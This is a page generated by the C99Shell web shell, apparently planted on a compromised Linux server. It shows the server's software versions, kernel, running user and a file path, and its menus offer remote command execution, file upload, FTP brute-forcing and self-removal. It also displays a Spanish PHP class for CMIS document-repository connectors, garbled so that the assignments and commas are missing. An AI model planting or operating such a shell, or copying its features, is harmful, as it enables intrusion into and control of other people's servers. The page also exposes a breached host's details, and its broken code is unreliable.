!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_led/php/contrib/lib/RDILib/   drwxrwxr-x
Free 11.76 GB of 61.93 GB (18.99%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     RDICliente.php (2.31 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once('RDIVarios.php');    //Uso esta forma porque no existe una clase puntual para cargar por autoload
class  RDICliente
{
    const 
CONECTOR_CMIS_ATOM 'CMIS_ATOM';
    const 
CONECTOR_CMIS_REST 'CMIS_REST';
    const 
CONECTOR_NUEXO 'NUXEO';
    const 
CONECTOR_ALFRESCO 'ALFRESCO';
    
    protected 
$conector;
    protected 
$url;
    protected 
$usuario;
    protected 
$clave;
    protected 
$sistema;
    protected 
$instalacion;
    protected 
$log;
    protected 
$mapeoServicios;

    function 
__construct($tipoConector$url$usuario$clave$sistema$instalacion)
    {    
        
$this->conector $this->conectar($tipoConector$url$usuario$clave);
        
$this->url $url;
        
$this->usuario $usuario;
        
$this->clave $clave;
        
$this->sistema $sistema;
        
$this->instalacion $instalacion;
    }
    
    private function 
conectar($tipoConector$url$usuario$clave)
    {
        switch(
$tipoConector) {
            case 
self::CONECTOR_CMIS_ATOM:
                
$conector = new RDIConectorCMIS_ATOM($url$usuario$clave);
                break;
            case 
self::CONECTOR_CMIS_REST
                
$conector = new RDIConectorCMIS_REST($url$usuario$clave);
                break;
            default:
                throw new 
RDIExcepcion("El conector '$tipoConector' no se encuentra implementado");
        }
        return 
$conector;
    }    
    
    function 
info()
    {
        return 
$this->conector->infoConexion();
    }
    
    function 
asociarLog($log)
    {
        
$this->log $log;
        
$this->conector->asociarLog($log);
    }
    
    
//--------------------------------------------------
    //-- SERVICIOS 
    //--------------------------------------------------

    
function mapeoServicios()
    {
        if(!isset(
$this->mapeoServicios)){
            
$this->mapeoServicios = new RDIServicios();
        } 
        return 
$this->mapeoServicios;
    }
    
    function 
servicio($idServicio)
    {
        
$clase $this->mapeoServicios()->getClase($idServicio);
        
$servicio = new $clase($this->conector$this->sistema$this->instalacion);
        if (isset(
$this->log)) {
            
$servicio->asociarLog($this->log);
        }
        return 
$servicio;
    }

    
//--------------------------------------------------
    //-- RECURSOS 
    //--------------------------------------------------
    
    
function getListaRecursos()
    {
        
$mapeo $this->mapeoServicios()->getLista();
        return 
array_keys($mapeo);
    }
    
    function 
existeRecurso($recurso)
    {
        
$mapeo $this->mapeoServicios()->getLista();
        return isset(
$mapeo[$recurso]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.4884 ]--